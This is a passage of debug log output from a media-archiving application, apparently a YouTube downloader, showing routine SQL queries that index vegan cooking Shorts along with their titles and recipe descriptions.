"sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:45.565 [debug] QUERY OK source="media_items" db=2.1ms idle=1003.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-15 17:53:31Z], 1] 20:26:45.566 [debug] QUERY OK source="media_items" db=1.0ms idle=470.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["CRISPY TOFU ALERT 🚨 Never make bland, tasteless tofu ever again! All you need is 3 simple ingredients to transform this incredibly healthy plant-based protein into something you’ll want to include in tons of your favourite meals. 😊\n\nSee the full video on MY 2 FAV WAYS TO MAKE TOFU! ➡️ https://youtu.be/F7YBPAsRbZ0\n\nCRISPY BAKED TOFU (3 INGREDIENTS)\n1 block extra firm tofu, pressed and cubed into bite-sized pieces\n2-3 tbsp soy sauce or tamari\n2-3 tbsp nutritional yeast\n\nTo a large bowl add the tofu and pour over the soy sauce. Toss until each piece is coated and all the soy sauce has been absorbed (add more if the bottom of the bowl looks dry). Add the nutritional yeast and toss once more until each piece of tofu is coated. Transfer to a parchment lined baking tray and bake for 40 minutes at 425°F until golden and crispy, flipping over halfway through. Serve with salads, rice dishes, stir frys, curries, or enjoy on its own! Love dipping them in plum sauce!\n\nFollow @steamyvegankitchen for more delish plant-based recipes! 🌱 \n\n#steamyvegankitchen #steamyvegan #vegan #instavegan #veganshare #veganfoodshare #veganfood #veganrecipes #veganlife #veganhacks #plantbased #plantbaseddiet #plantbasednutrition #plantbasedrecipes #plantbasedfood #plantbasedcooking #vegancuisine #glutenfree #glutenfreefood #glutenfreedairyfree #glutenfreevegan #glutenfreelife #veganglutenfree #tofurecipes #crispytofu #tofu\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "CRISPY BAKED TOFU! Only 3 ingredients 😍 #shorts #youtubeshorts", "99c94f8b-1b32-4223-8dbb-e5cc2861efaf", 1, [], 59, false, "Y6oNeFhgJUk", "https://www.youtube.com/shorts/Y6oNeFhgJUk", 206, "/downloads/downloads/alec/Steamy Vegan/2022-11-15 CRISPY BAKED TOFU! Only 3 ingredients 😍 #shorts #youtubeshorts/CRISPY BAKED TOFU! Only 3 ingredients 😍 #shorts #youtubeshorts [Y6oNeFhgJUk].NA", false, false, true, 0, ~U[2022-11-15 17:53:31Z], ~U[2026-03-22 03:26:45Z], ~U[2026-03-22 03:26:45Z], "CRISPY TOFU ALERT 🚨 Never make bland, tasteless tofu ever again! All you need is 3 simple ingredients to transform this incredibly healthy plant-based protein into something you’ll want to include in tons of your favourite meals. 😊\n\nSee the full video on MY 2 FAV WAYS TO MAKE TOFU! ➡️ https://youtu.be/F7YBPAsRbZ0\n\nCRISPY BAKED TOFU (3 INGREDIENTS)\n1 block extra firm tofu, pressed and cubed into bite-sized pieces\n2-3 tbsp soy sauce or tamari\n2-3 tbsp nutritional yeast\n\nTo a large bowl add the tofu and pour over the soy sauce. Toss until each piece is coated and all the soy sauce has been absorbed (add more if the bottom of the bowl looks dry). Add the nutritional yeast and toss once more until each piece of tofu is coated. Transfer to a parchment lined baking tray and bake for 40 minutes at 425°F until golden and crispy, flipping over halfway through. Serve with salads, rice dishes, stir frys, curries, or enjoy on its own! Love dipping them in plum sauce!\n\nFollow @steamyvegankitchen for more delish plant-based recipes! 🌱 \n\n#steamyvegankitchen #steamyvegan #vegan #instavegan #veganshare #veganfoodshare #veganfood #veganrecipes #veganlife #veganhacks #plantbased #plantbaseddiet #plantbasednutrition #plantbasedrecipes #plantbasedfood #plantbasedcooking #vegancuisine #glutenfree #glutenfreefood #glutenfreedairyfree #glutenfreevegan #glutenfreelife #veganglutenfree #tofurecipes #crispytofu #tofu\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "CRISPY BAKED TOFU! Only 3 ingredients 😍 #shorts #youtubeshorts", 1, 59, false, "Y6oNeFhgJUk", "https://www.youtube.com/shorts/Y6oNeFhgJUk", "/downloads/downloads/alec/Steamy Vegan/2022-11-15 CRISPY BAKED TOFU! Only 3 ingredients 😍 #shorts #youtubeshorts/CRISPY BAKED TOFU! Only 3 ingredients 😍 #shorts #youtubeshorts [Y6oNeFhgJUk].NA", true, ~U[2022-11-15 17:53:31Z]] 20:26:45.567 [debug] QUERY OK source="sources" db=0.7ms idle=27.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:45.568 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:45.568 [debug] QUERY OK source="media_items" db=0.3ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [595] 20:26:45.568 [debug] Current batch of media processed. Will check again in 1000ms 20:26:46.569 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "BROCCOLI 🥦 CHEESE 🧀 SOUP 🥣 ALERT 🚨 If you’re looking for an easy weeknight dinner idea, then you have to try the EASIEST Vegan Broccoli and Cheese Soup Recipe EVER! 🥣 It’s gluten-free, oil-free (optional) and uses healthy whole foods ingredients. 🌱\n\nRECIPE VIDEO: https://youtu.be/GfrU-pj2O2M\nFULL RECIPE: https://steamyvegankitchen.com/vegan-broccoli-cheese-soup/\n \nThis soup is made in an Instant Pot but stovetop directions are in the blog post (BIO!) if you don’t have a pressure cooker. Now, I’m sure there are a million and one ways to make this kind of soup, but the reasons why I love this version are it only requires 6 ingredients, it’s made with whole plant foods, and requires minimal hands-on time. \n\n#steamyvegankitchen #steamyvegan #eatplants #soupszn #soupseason #fallrecipes #fallcooking #veganrecipes #glutenfreevegan #wfpb #wholefoodplantbased #broccolicheesesoup #veganfood #veganfoodshare #plantbased #plantbasedfoodie #plantbasednutrition #easyveganmeals #plantbasedrecipes #poweredbyplants #lowcaloriemeals #lowcalorierecipes #lowcaloriediet #lowcal", "duration" => 57, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-11-10 Easy vegan broccoli 🥦 & cheese 🧀 soup! Gluten & oil-free, WFPB/Easy vegan broccoli 🥦 & cheese 🧀 soup! Gluten & oil-free, WFPB [_KzDasuoceU].NA", "id" => "_KzDasuoceU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/_KzDasuoceU", "playlist_index" => 207, "timestamp" => 1668115348, "title" => "Easy vegan broccoli 🥦 & cheese 🧀 soup! Gluten & oil-free, WFPB", "upload_date" => "20221110"} 20:26:46.570 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:46.571 [debug] QUERY OK source="sources" db=0.2ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:46.573 [debug] QUERY OK source="media_items" db=2.0ms idle=1003.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-10 21:22:28Z], 1] 20:26:46.575 [debug] QUERY OK source="media_items" db=1.0ms idle=1005.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["BROCCOLI 🥦 CHEESE 🧀 SOUP 🥣 ALERT 🚨 If you’re looking for an easy weeknight dinner idea, then you have to try the EASIEST Vegan Broccoli and Cheese Soup Recipe EVER! 🥣 It’s gluten-free, oil-free (optional) and uses healthy whole foods ingredients. 🌱\n\nRECIPE VIDEO: https://youtu.be/GfrU-pj2O2M\nFULL RECIPE: https://steamyvegankitchen.com/vegan-broccoli-cheese-soup/\n \nThis soup is made in an Instant Pot but stovetop directions are in the blog post (BIO!) if you don’t have a pressure cooker. Now, I’m sure there are a million and one ways to make this kind of soup, but the reasons why I love this version are it only requires 6 ingredients, it’s made with whole plant foods, and requires minimal hands-on time. \n\n#steamyvegankitchen #steamyvegan #eatplants #soupszn #soupseason #fallrecipes #fallcooking #veganrecipes #glutenfreevegan #wfpb #wholefoodplantbased #broccolicheesesoup #veganfood #veganfoodshare #plantbased #plantbasedfoodie #plantbasednutrition #easyveganmeals #plantbasedrecipes #poweredbyplants #lowcaloriemeals #lowcalorierecipes #lowcaloriediet #lowcal", "Easy vegan broccoli 🥦 & cheese 🧀 soup! Gluten & oil-free, WFPB", "92a06421-c5e8-4e23-9070-f5aa41c89796", 1, [], 57, false, "_KzDasuoceU", "https://www.youtube.com/shorts/_KzDasuoceU", 207, "/downloads/downloads/alec/Steamy Vegan/2022-11-10 Easy vegan broccoli 🥦 & cheese 🧀 soup! Gluten & oil-free, WFPB/Easy vegan broccoli 🥦 & cheese 🧀 soup! Gluten & oil-free, WFPB [_KzDasuoceU].NA", false, false, true, 0, ~U[2022-11-10 21:22:28Z], ~U[2026-03-22 03:26:46Z], ~U[2026-03-22 03:26:46Z], "BROCCOLI 🥦 CHEESE 🧀 SOUP 🥣 ALERT 🚨 If you’re looking for an easy weeknight dinner idea, then you have to try the EASIEST Vegan Broccoli and Cheese Soup Recipe EVER! 🥣 It’s gluten-free, oil-free (optional) and uses healthy whole foods ingredients. 🌱\n\nRECIPE VIDEO: https://youtu.be/GfrU-pj2O2M\nFULL RECIPE: https://steamyvegankitchen.com/vegan-broccoli-cheese-soup/\n \nThis soup is made in an Instant Pot but stovetop directions are in the blog post (BIO!) if you don’t have a pressure cooker. Now, I’m sure there are a million and one ways to make this kind of soup, but the reasons why I love this version are it only requires 6 ingredients, it’s made with whole plant foods, and requires minimal hands-on time. \n\n#steamyvegankitchen #steamyvegan #eatplants #soupszn #soupseason #fallrecipes #fallcooking #veganrecipes #glutenfreevegan #wfpb #wholefoodplantbased #broccolicheesesoup #veganfood #veganfoodshare #plantbased #plantbasedfoodie #plantbasednutrition #easyveganmeals #plantbasedrecipes #poweredbyplants #lowcaloriemeals #lowcalorierecipes #lowcaloriediet #lowcal", "Easy vegan broccoli 🥦 & cheese 🧀 soup! Gluten & oil-free, WFPB", 1, 57, false, "_KzDasuoceU", "https://www.youtube.com/shorts/_KzDasuoceU", "/downloads/downloads/alec/Steamy Vegan/2022-11-10 Easy vegan broccoli 🥦 & cheese 🧀 soup! Gluten & oil-free, WFPB/Easy vegan broccoli 🥦 & cheese 🧀 soup! Gluten & oil-free, WFPB [_KzDasuoceU].NA", true, ~U[2022-11-10 21:22:28Z]] 20:26:46.576 [debug] QUERY OK source="sources" db=0.5ms idle=477.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:46.577 [debug] QUERY OK source="media_profiles" db=0.8ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:46.578 [debug] QUERY OK source="media_items" db=0.4ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [596] 20:26:46.578 [debug] Current batch of media processed. Will check again in 1000ms 20:26:47.579 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I admit it, I'm one of those people who loves to put my Christmas tree up the first week of November. The suspense and excitement of the season is upon us!\n\nStay tuned for some exciting Christmas recipes on the channel this year! THe suspense is killing me and I love it!!!", "duration" => 9, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-11-01 Christmas Season is Upon Us 🎅 #shorts/Christmas Season is Upon Us 🎅 #shorts [R82-v4ucQg0].NA", "id" => "R82-v4ucQg0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/R82-v4ucQg0", "playlist_index" => 208, "timestamp" => 1667318336, "title" => "Christmas Season is Upon Us 🎅 #shorts", "upload_date" => "20221101"} 20:26:47.580 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:47.581 [debug] QUERY OK source="sources" db=0.1ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:47.584 [debug] QUERY OK source="media_items" db=2.5ms queue=0.1ms idle=1003.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-01 15:58:56Z], 1] 20:26:47.585 [debug] QUERY OK source="media_items" db=1.0ms idle=483.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I admit it, I'm one of those people who loves to put my Christmas tree up the first week of November. The suspense and excitement of the season is upon us!\n\nStay tuned for some exciting Christmas recipes on the channel this year! THe suspense is killing me and I love it!!!", "Christmas Season is Upon Us 🎅 #shorts", "d8135421-f662-4268-b0f4-884fcee18741", 1, [], 9, false, "R82-v4ucQg0", "https://www.youtube.com/shorts/R82-v4ucQg0", 208, "/downloads/downloads/alec/Steamy Vegan/2022-11-01 Christmas Season is Upon Us 🎅 #shorts/Christmas Season is Upon Us 🎅 #shorts [R82-v4ucQg0].NA", false, false, true, 0, ~U[2022-11-01 15:58:56Z], ~U[2026-03-22 03:26:47Z], ~U[2026-03-22 03:26:47Z], "I admit it, I'm one of those people who loves to put my Christmas tree up the first week of November. The suspense and excitement of the season is upon us!\n\nStay tuned for some exciting Christmas recipes on the channel this year! THe suspense is killing me and I love it!!!", "Christmas Season is Upon Us 🎅 #shorts", 1, 9, false, "R82-v4ucQg0", "https://www.youtube.com/shorts/R82-v4ucQg0", "/downloads/downloads/alec/Steamy Vegan/2022-11-01 Christmas Season is Upon Us 🎅 #shorts/Christmas Season is Upon Us 🎅 #shorts [R82-v4ucQg0].NA", true, ~U[2022-11-01 15:58:56Z]] 20:26:47.586 [debug] QUERY OK source="sources" db=0.3ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:47.586 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:47.587 [debug] QUERY OK source="media_items" db=0.5ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [597] 20:26:47.587 [debug] Current batch of media processed. Will check again in 1000ms 20:26:48.588 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "We had an unfortunate mix up at the 1st Milkies Awards and somehow La La Land won the award for Best Pitcher...of Milk and Emma Stone and the team had to relive that dreadful moment all over again.\n\nWatch the full video: https://youtu.be/Z2mLUIoRAK0", "duration" => 37, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-26 Emma Stone’s Reaction to not Winning Another Award 🏆 ❤️ La La Land All Over Again #shorts/Emma Stone’s Reaction to not Winning Another Award 🏆 ❤️ La La Land All Over Again #shorts [9PaNCAmdjw4].NA", "id" => "9PaNCAmdjw4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/9PaNCAmdjw4", "playlist_index" => 209, "timestamp" => 1666820700, "title" => "Emma Stone’s Reaction to not Winning Another Award 🏆 ❤️ La La Land All Over Again #shorts", "upload_date" => "20221026"} 20:26:48.589 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:48.591 [debug] QUERY OK source="sources" db=0.7ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:48.593 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=1004.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-26 21:45:00Z], 1] 20:26:48.594 [debug] QUERY OK source="media_items" db=0.9ms idle=1006.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We had an unfortunate mix up at the 1st Milkies Awards and somehow La La Land won the award for Best Pitcher...of Milk and Emma Stone and the team had to relive that dreadful moment all over again.\n\nWatch the full video: https://youtu.be/Z2mLUIoRAK0", "Emma Stone’s Reaction to not Winning Another Award 🏆 ❤️ La La Land All Over Again #shorts", "95358777-700a-4117-a1bc-4bd5ecae3a85", 1, [], 37, false, "9PaNCAmdjw4", "https://www.youtube.com/shorts/9PaNCAmdjw4", 209, "/downloads/downloads/alec/Steamy Vegan/2022-10-26 Emma Stone’s Reaction to not Winning Another Award 🏆 ❤️ La La Land All Over Again #shorts/Emma Stone’s Reaction to not Winning Another Award 🏆 ❤️ La La Land All Over Again #shorts [9PaNCAmdjw4].NA", false, false, true, 0, ~U[2022-10-26 21:45:00Z], ~U[2026-03-22 03:26:48Z], ~U[2026-03-22 03:26:48Z], "We had an unfortunate mix up at the 1st Milkies Awards and somehow La La Land won the award for Best Pitcher...of Milk and Emma Stone and the team had to relive that dreadful moment all over again.\n\nWatch the full video: https://youtu.be/Z2mLUIoRAK0", "Emma Stone’s Reaction to not Winning Another Award 🏆 ❤️ La La Land All Over Again #shorts", 1, 37, false, "9PaNCAmdjw4", "https://www.youtube.com/shorts/9PaNCAmdjw4", "/downloads/downloads/alec/Steamy Vegan/2022-10-26 Emma Stone’s Reaction to not Winning Another Award 🏆 ❤️ La La Land All Over Again #shorts/Emma Stone’s Reaction to not Winning Another Award 🏆 ❤️ La La Land All Over Again #shorts [9PaNCAmdjw4].NA", true, ~U[2022-10-26 21:45:00Z]] 20:26:48.595 [debug] QUERY OK source="sources" db=0.6ms idle=490.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:48.596 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms 